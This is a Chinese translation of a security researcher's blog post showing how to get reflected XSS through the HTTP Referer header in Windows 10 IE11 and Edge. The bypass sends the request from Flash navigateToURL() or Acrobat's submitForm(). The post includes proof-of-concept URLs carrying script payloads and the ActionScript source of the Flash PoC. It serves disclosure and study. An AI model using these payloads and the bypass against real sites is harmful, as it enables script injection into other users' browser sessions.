原文链接: http://mksben.l0.cm/2016/10/xss-via-referrer.html

原作者:Masato Kinugawa

译者:Holic (知道创宇404安全实验室)

自从 Windows 10 发布周年更新版本后,微软貌似在 IE11 和 Edge 上杜绝了一些 XSS 技巧。referrer的行为便是其中之一。

下面的这个页面之间将 HTTP_REFERERdocument.referrer 写进了页面里面:

https://vulnerabledoma.in/xss_referrer

之前的IE/Edge版本并没有编码"<>字符,因此我们能直接利用以下的 PoC 施展 XSS 攻击:

https://l0.cm/xss_referrer_oldpoc.html?<script>alert("1")</script>  

但自从 Windows 10 周年更新之后, IE11 和 Edge 浏览器对它进行了编码。然后将会在页面中得到以下编码过的字符串:

HTTP_REFERER: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E  
document.referrer: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E

太糟了。

当然使用 Win8.1/7 的 IE11 依然受影响。但我们难道不想在Win10上进行 XSS 吗?

现在我来分享一个小技巧,在最新版 Win10 Edge/IE11 上利用 referrer 进行 XSS。

非常简单的技巧。如果发送请求来自于Flash的navigateToURL()方法,那么你将能很轻易的在 referrer 中包含"<>字符串,就像下面的方法:

https://l0.cm/xss_referrer.swf?<script>alert(1)</script>  

这儿是相应的 ActionScript 代码:

package {  
 import flash.display.Sprite;
 import flash.net.URLRequest;
 import flash.net.navigateToURL;
 public class xss_referrer extends Sprite{
  public function xss_referrer() {
   var url:URLRequest = new URLRequest("https://vulnerabledoma.in/xss_referrer");
   navigateToURL(url, "_self");
  }
 }
}

正如所见的访问结果,我们能通过 Referrer请求头造成XSS。但很遗憾不能通过 document.referrer 属性进行XSS,因为它是空的。Dang :P

参考内容:我还能通过 Acrobat API 中 JavaScript 的 submitForm() method 复现此漏洞。

我在使用 Adobe Reader plugin 的 Win10 IE11 确认了此漏洞的存在。

PoC在这儿:

https://l0.cm/xss_referrer.pdf?<script>alert(1)</script>  

看来并没有被考虑到通过插件发起请求的情况。

就酱,在一些场景或许会有帮助吧。 Thanks!